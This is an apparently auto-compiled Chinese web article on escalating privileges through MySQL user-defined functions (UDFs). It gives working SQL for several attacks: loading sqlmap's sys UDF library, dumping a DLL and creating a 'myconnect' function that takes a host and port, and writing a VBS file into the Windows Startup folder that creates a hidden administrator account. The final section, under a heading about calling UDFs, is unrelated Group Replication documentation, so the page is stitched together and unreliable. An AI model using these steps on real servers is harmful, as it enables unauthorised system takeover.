mysql数据库提权之udf,sql注入提权

发布时间:2022-11-19

本文目录一览:

  1. MYSQL提权(LINUX)
  2. 怎么在Windows下的MYSQL网站利用UDF.dll提权?
  3. linux mysql udf提权漏洞怎么办
  4. windows 2008 怎么利用mysql提权
  5. mysql udf函数怎么调用

MYSQL提权(LINUX)

select @@global.secure_file_priv;

查看MySQL服务器的文件读写权限。 如果是 NULL 就是完全禁止。 udf提权用到的 .so 文件(Linux)在 Kali 下默认集成,路径为:

/usr/share/sqlmap/udf/mysql/linux/64(32)

或者使用命令:

searchsploit mysql udf

把对应的内容编译出来。 MySQL创建函数命令:

CREATE FUNCTION function_name RETURNS INTEGER SONAME 'udf_file.so';

怎么在Windows下的MYSQL网站利用UDF.dll提权?

udf.dll提权在MySQL版本大于5.0会有很多限制,因为导出udf.dll目录到winnt目录已经不行。好在还有方法,t00ls转载的,udf.dll失败时可以考虑试试^_^

linux mysql udf提权漏洞怎么办

在mysql库下必须有 func 表,并且在 --skip-grant-tables 开启的情况下,UDF会被禁止; 过程:

  1. 得到插件库路径
  2. 找对应操作系统的udf库文件
  3. 利用udf库文件加载函数并执行命令

1. 得到插件库路径

SHOW VARIABLES LIKE "%plugin%";

输出示例:

+---------------+-----------------------+
| Variable_name | Value                 |
+---------------+-----------------------+
| plugin_dir    | /usr/lib/mysql/plugin |
+---------------+-----------------------+

2. 找对应操作系统的udf库文件

例如查看系统版本:

uname -a

输出示例:

Linux bt 3.2.6 #1 SMP Fri Feb 17 10:34:20 EST 2012 x86_64 GNU/Linux

对于udf文件,在sqlmap工具中自带就有,只要找对应操作系统的版本即可:

/pentest/database/sqlmap/udf/mysql/linux/64

其中包含:

lib_mysqludf_sys.so

3. 利用udf库文件加载函数并执行命令

首先要得到udf库文件的十六进制格式,可在本地通过工具转换。

windows 2008 怎么利用mysql提权

MySQL 5.1版本以上,必须把udf文件放到mysql安装目录下的 lib/plugin 下才能创建自定义函数。INTO DUMPFILE 并不能创建文件夹,所以MySQL 5.1以上的版本,root权限提权就很困难了,目前已有的方法只有写启动项如下:

CREATE TABLE a (cmd TEXT);
INSERT INTO a VALUES ("set wshshell=createobject (""wscript.shell"")");
INSERT INTO a VALUES ("a=wshshell.run (""cmd.exe /c net user 007hack.com qwer1234!@#$qwe /add"",0)");
INSERT INTO a VALUES ("b=wshshell.run (""cmd.exe /c net localgroup Administrators 007hack.com /add"",0)");

Windows 2008启动项路径:

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\iis.vbs

导出到启动项:

SELECT * FROM a INTO OUTFILE "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\iis.vbs";

写启动项缺陷:

  1. 需要服务器重启(如果管理员3389远程桌面登录时注销了用户,再次3389连接时,这个脚本就会运行,添加一个管理员,不需要重启)。
  2. 安全软件可能会拦截。

补充:

如果MySQL版本小于5.1是root权限,Windows 2008一样可以拿到系统权限(MySQL无降权处理)。

1. MySQL导出一个dll

SELECT udf FROM 007hack_tab INTO DUMPFILE 'c:/007hack.dll';

(udf内容网上早有公开)

2. 创建一个函数

CREATE FUNCTION myconnect RETURNS INTEGER SONAME 'c:\\007hack.dll';

(注意路径是双反斜杠)

3. 调用这个函数

SELECT myconnect('".$chost."','".$cport."');

(这只是一个示例)

mysql udf函数怎么调用

背景

在上一篇推文中,我们介绍了 MySQL Group Replication 8.0.16 支持信息碎片化功能来增强大型事务处理能力。 如果您想在组复制中使用该功能,则任何组成员的版本都不能低于 8.0.16! 简单地说就是由于低版本协议上不支持。MySQL 8.0.16 的组通讯开始支持新协议,简称“分段协议”,之前的版本中只有一种“压缩协议”。

协议匹配原则:

  • 现有复制组成员和新加入成员版本相同,加入成功。
  • 低版本成员想加入高版本的组会被驱逐,加入失败。
  • 高版本的成员想加入低版本的组,单独加入成功,多个加入失败。

示例:

  • 一个 MySQL Server 8.0.16 实例可以成功加入使用通信协议版本 5.7.24 的组。
  • 一个 MySQL Server 5.7.24 实例无法成功加入使用通信协议版本 8.0.16 的组。
  • 两个 MySQL Server 8.0.16 实例无法同时加入使用通信协议版本 5.7.24 的组。
  • 两个 MySQL Server 8.0.16 实例可以同时加入使用通信协议版本 8.0.16 的组。

新增 UDF

为了能让高版本的复制组更便于加入低版本的成员,MySQL 8.0.16 新增两个 UDF。 您可以使用两个新的 UDF 命令去管理组通信协议:

1. group_replication_set_communication_protocol(new_protocol)

设置组复制通讯协议版本:

SELECT group_replication_set_communication_protocol("8.0.15");

填入一个所有成员都支持的版本号,即:new_protocol ≤ 所有成员的 MySQL版本new_protocol 格式:major.minor.patch(主版本号.次版本号.发布版本号),例如:8.0.15

2. group_replication_get_communication_protocol()

获取复制中最旧成员的 MySQL 版本号:

SELECT group_replication_get_communication_protocol();

返回结果格式:major.minor.patch,例如:8.0.15。 获取的版本号可能与设置的值不一致,但不一致的版本之间组复制协议是一样的。 以上两个 UDF 对全部组成员有效,主机或从机上均可执行。

结论

  • 若想使用信息碎片功能,建议将组复制成员全部升级为 8.0.16。
  • 若组内成员版本仅有部分为 8.0.16,可以用两个新的函数来让高版本的成员保持与其它成员组协议一致。